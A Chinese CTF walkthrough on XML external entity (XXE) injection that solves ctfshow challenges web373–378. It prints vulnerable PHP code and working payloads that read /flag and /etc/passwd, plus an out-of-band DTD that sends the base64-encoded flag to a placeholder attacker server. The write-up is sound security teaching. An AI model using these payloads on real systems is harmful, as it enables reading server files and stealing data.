当前位置: 首页 > news >正文

WEB入门——XXE

什么是XML

可以把它和HTML对比来理解:

  • HTML 的标签(如<h1><p>)是预定义好的,主要功能是告诉浏览器如何显示内容。
  • XML 的标签则可以由开发者根据需求自己定义,用来清晰地描述数据的结构和含义。
<?xml version="1.0" encoding="utf-8"?>
<note><to>小明</to><from>小红</from><heading>提醒</heading><body>别忘了周五的会议!</body>
</note>

了更好地理解XXE,我们还需要了解XML中两个与漏洞密切相关的关键组件:DOCTYPE 和 ENTITY
DOCTYPE (文档类型声明) :它通常出现在XML文档的顶部,用于定义该文档的结构和规则。对于XXE漏洞来说,DOCTYPE最重要的作用是,它提供了一个可以定义实体(ENTITY)的地方
ENTITY (实体) :必须在DOCTYPE声明中定义,主要有两种:
1.内部实体:像一个简单的文本变量,方便在文档中复用。例如:<!ENTITY author "Wayne">,之后在文档中使用的 &author; 就会被替换为 “Wayne”
2.外部实体:这是XXE漏洞的核心。它允许我们引用外部资源的内容,例如服务器上的一个文件或一个网址。例如:<!ENTITY xxe SYSTEM "file:///etc/passwd">

什么是XXE

XXE全称是“XML外部实体注入”(XML External Entity Injection),当一个应用程序接收并解析了用户提交的XML数据,但其XML解析器配置不当时,就容易产生XXE漏洞
流程如下:
1.构造一个恶意的XML文档
2.在文档中定义一个指向服务器本地敏感文件的外部实体,例如: <!ENTITY xxe SYSTEM "file:///etc/passwd">
3.在XML数据中引用这个实体&xxe;
4.服务器在解析这段XML时,会查找并读取/etc/passwd 文件的内容,并用它替换掉&xxe;
5.最后,攻击者通过页面的回显(有回显XXE)或将数据发送到自己的服务器(无回显XXE)来窃取信息

web373 有回显的XXE

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$ctfshow = $creds->ctfshow;echo $ctfshow;
}
highlight_file(__FILE__);    

分析:

// 允许加载外部实体
libxml_disable_entity_loader(false);
// xml文件来源于数据流
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();// 加载xml实体,参数为替代实体、加载外部子集$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);// 把 DOM 节点转换为 SimpleXMLElement 对象$creds = simplexml_import_dom($dom);// 节点嵌套$ctfshow = $creds->ctfshow;echo $ctfshow;
}

有回显的XXE
POST:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<!-- 对应源码的$ctfshow = $creds->ctfshow; -->
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

web374 无回显的XXE

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

相比上一题,这一题少了回显代码
少了:

$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;

在vps的网站根目录创建test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!-- “&#x25;”是 % 的意思,因为是嵌套引用,所以不能直接写% -->
<!ENTITY % eval "<!ENTITY &#x25; out SYSTEM 'http://vps地址:1234/?x=%file;'>">
%eval;
%out;

web375?

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

web376?

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

web377?

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

web378

直接抓包构造payload即可

function doLogin(){var username = $("#username").val();var password = $("#password").val();if(username == "" || password == ""){alert("Please enter the username and password!");return;}var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; $.ajax({type: "POST",url: "doLogin",contentType: "application/xml;charset=utf-8",data: data,dataType: "xml",anysc: false,success: function (result) {var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;if(code == "0"){$(".msg").text(msg + " login fail!");}else if(code == "1"){$(".msg").text(msg + " login success!");}else{$(".msg").text("error:" + msg);}},error: function (XMLHttpRequest,textStatus,errorThrown) {$(".msg").text(errorThrown + ':' + textStatus);}}); 
}

payload上传注意修改:
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>123</password></user>

WEB入门——XXE.png

http://www.jsqmd.com/news/1000886/

相关文章:

  • 思源黑体TTF:多语言字体Hinting技术的完整实现方案
  • 别再死记硬背了!用‘两轮自行车’模型,5分钟理解汽车转向动力学核心
  • DSP56311架构解析:EFCOP协处理器与片上SRAM在实时信号处理中的应用
  • OpenEMS开源能源管理平台终极指南:三步构建智能微电网系统
  • 别再只调YOLOv8的Head了!试试用Gold-YOLO的GD机制优化你的Neck,实测mAP提升明显
  • 别再死磕DCGAN了!用PGGAN(ProGAN)从4x4到1024x1024,手把手教你生成高清人脸(附PyTorch代码)
  • 2026年上海小程序开发公司推荐:优质服务商深度解析 - 资讯报道
  • Android免Root防撤回实战指南:深度解析Anti-recall防撤回神器
  • Go/Rust 系统编程:协程调度与异步运行时的性能对比
  • C# WinForms打地鼠游戏源码包:含完整VS工程、音效资源与清晰注释
  • 工业级MCU选型与实战:5V架构、功能安全与电机控制应用解析
  • Deepin Boot Maker:新手友好的启动盘制作终极指南
  • R语言回归建模速查包:线性回归、决策树、SVR等5种算法即开即用
  • CUDA版本对不上号?别慌,一文搞懂nvcc和nvidia-smi到底在看什么
  • 原神模型导入终极指南:使用GIMI工具轻松创建自定义角色外观
  • 情侣蜜月专属向|2026内蒙古浪漫情侣向导TOP7|求婚/纪念日/蜜月零踩坑专属榜 - 纯玩旅游分享
  • 多式联运系统 vs TMS:从技术架构角度看本质区别
  • 热门款保值率测评:福州LV/香奈儿/迪奥回收行情详解 - 奢侈品回收评测
  • 远程服务器codex使用本地cc-switch的deepseek api
  • 别再只把高斯噪声当干扰了!在PyTorch里用它给模型‘加Buff’的三种实战技巧
  • MSC7104 GPON SoC:一颗芯片如何驱动光纤入户革命
  • 深度解析SheetJS:企业级电子表格数据处理的性能优化与架构设计指南
  • node安装新版本,并解决opencode和claude code不能用问题
  • 深入解析PowerPC e600核心:超标量架构与AltiVec向量处理技术
  • 从‘事后诸葛亮’到智能体导师:深入拆解HER的四种Goal采样策略(final, future, episode, random)
  • Visual C++ Redistributable AIO:彻底解决Windows程序运行问题的完整方案
  • 绎奇PPT深耕教学创新大赛,国赛 PPT 专属设计
  • 免费创建投票小程序推荐,轻松发布评选活动 - 热点速览
  • Activation Steering:零训练实现大模型实时行为调控
  • Onekey Steam Depot清单下载工具:小白也能轻松获取游戏清单的终极教程